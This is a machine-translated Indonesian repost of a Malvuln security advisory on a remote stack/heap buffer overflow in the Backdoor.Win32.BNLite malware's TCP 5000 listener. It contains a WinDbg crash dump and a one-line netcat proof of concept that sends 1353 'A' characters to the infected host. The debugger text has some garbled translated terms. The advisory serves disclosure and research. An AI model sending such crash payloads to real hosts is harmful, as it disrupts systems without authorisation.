Backdoor.Win32.BNLite Buffer Overflow

  • Whatsapp
Backdoor.Win32.BNLite Buffer Overflow
BackdoorWinBNLite Buffer Overflow

News.nextcloud.asia

Penemuan / kredit: Malvuln – malvuln.com (c) 2021
Sumber asli: https://malvuln.com/advisory/9cec5a23887f0c73148ab3ea147a6fa4.txt
Kontak: [email protected]
Media: twitter.com/malvuln

Ancaman: Backdoor.Win32.BNLite
Kerentanan: Buffer Overflow Berbasis Tumpukan Jarak Jauh
Deskripsi: Malware mendengarkan pada port TCP 5000. Penyerang pihak ketiga yang dapat mencapai sistem dapat mengirim muatan yang dibuat khusus untuk memicu buffer overflow berbasis heap yang menimpa ECX, EDX, dan 16-bit (setengah) lebih rendah dari memori perusak EAX yang terletak di tumpukan.
Jenis: PE32
MD5: 9cec5a23887f0c73148ab3ea147a6fa4
ID Vuln: MVID-2021-0429
File yang dijatuhkan: BNLIMNL.exe
ASLR: Salah
DEP: Salah
SEH Aman: Benar
Pengungkapan: 16/12/2021

Pembuangan Memori:
(73c.9a4): Pelanggaran akses – kode c0000005 (kesempatan pertama/kedua tidak tersedia)
eax = 00000000 ebx = 00000000 ecx = 41414141 edx = 41414141 esi = 000000003 edi = 000000003
eip=7770ed3c esp=0019f3b4 ebp=0019f544 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14 jam

0:00> .ecxr
eax=00004141 ebx=024d4fc0 ecx=41414141 edx=41414141 esi=024d4fc8 edi=024a0000
eip = 776e2d6a esp = 0019fcf0 ebp = 0019feb0 iopl = 0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
ntdll!RtlpAllocateHeap+0x37a:
776e2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????

0:00> !analisis -v
************************************************** ********************************
* *
* Analisis Pengecualian *
* *
************************************************** ********************************

*** PERINGATAN: Tidak dapat memverifikasi checksum untuk BNLIMNL.exe
*** KESALAHAN: Pemuatan modul selesai tetapi simbol tidak dapat dimuat untuk BNLIMNL.exe
Gagal memanggil InternetOpenUrl, GLE=12029

KESALAHAN_IP:
ntdll!RtlpAllocateHeap+37a
776e2d6a 8b09 mov ecx,dword ptr [ecx]

EXCEPTION_RECORD: ffffffff — (.exr 0xffffffffffffffff)
ExceptionAddress: 776e2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
ExceptionCode: c0000005 (Pelanggaran akses)
Bendera Pengecualian: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Mencoba membaca dari alamat 41414141

PROCESS_NAME: BNLIMNL.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 – Instruksi pada 0x%p mereferensikan memori pada 0x%p. Memori tidak boleh %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – Instruksi pada 0x%p mereferensikan memori pada 0x%p. Memori tidak boleh %s.

EXCEPTION_PARAMETER1: 00000000

PENGECUALIAN_PARAMETER2: 41414141

READ_ADDRESS: 41414141

TINDAK LANJUT_IP:
BNLIMNL+1966
00401966 a3c6304000 mov dword ptr [BNLIMNL+0x30c6 (004030c6)],eax

MOD_LIST:

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000009a4

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141

TERAKHIR_CONTROL_TRANSFER: dari 776e16b7 ke 776e2d6a

STACK_TEXT:
0019feb0 776e16b7 00000449 00000458 024a6400 ntdll!RtlpAllocateHeap+0x37a
0019ff00 776e13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7
0019ff18 74a10cd4 024a0000 00100008 00000449 ntdll!RtlAllocateHeap+0x3e
0019ff68 00401966 00000040 00000449 0019ff94 KERNELBASE!GlobalAlloc+0x64
PERINGATAN: Informasi pelepasan tumpukan tidak tersedia. Bingkai berikut mungkin salah.
0019ff78 0040125b 0000035c 77408654 002f7000 BNLIMNL+0x1966
0019ff94 77704a77 002f7000 b7b1d83f 00000000 BNLIMNL+0x125b
0019ffdc 77704a47 ffffffff 77729edc 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 00401000 002f7000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: !tumpukan ; ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 4

SYMBOL_NAME: BNLIMNL+1966

FOLLOWUP_NAME: Pemilik Mesin

MODULE_NAME: BNLIMNL

IMAGE_NAME: BNLIMNL.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 3aa07951

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_FILL_PATTERN_41414141_c0000005_BNLIMNL.exe!Tidak diketahui

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_BNLIMNL+1966

Eksploitasi / PoC:
python -c “print(‘A’*1353)” | nc64.exe MALWARE_HOST 5000

Penafian: Informasi yang terkandung dalam nasihat ini diberikan “sebagaimana adanya” tanpa jaminan atau jaminan kesesuaian penggunaan atau sebaliknya. Izin dengan ini diberikan untuk redistribusi nasihat ini, asalkan tidak diubah kecuali dengan memformat ulang, dan kredit yang diberikan diberikan. Izin secara eksplisit diberikan untuk penyisipan dalam database kerentanan dan sejenisnya, asalkan kredit jatuh tempo diberikan kepada penulis. Penulis tidak bertanggung jawab atas penyalahgunaan informasi yang terkandung di sini dan tidak bertanggung jawab atas segala kerusakan yang disebabkan oleh penggunaan atau penyalahgunaan informasi ini. Penulis melarang penggunaan berbahaya dari informasi terkait keamanan atau eksploitasi oleh penulis atau di tempat lain. Jangan mencoba mengunduh sampel Malware. Penulis situs web ini tidak bertanggung jawab atas segala jenis kerusakan yang terjadi akibat penanganan Malware yang tidak tepat atau pengunduhan APAPUN Malware yang disebutkan di situs web ini atau di tempat lain. Semua konten Hak Cipta (c) Malvuln.com (TM).

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *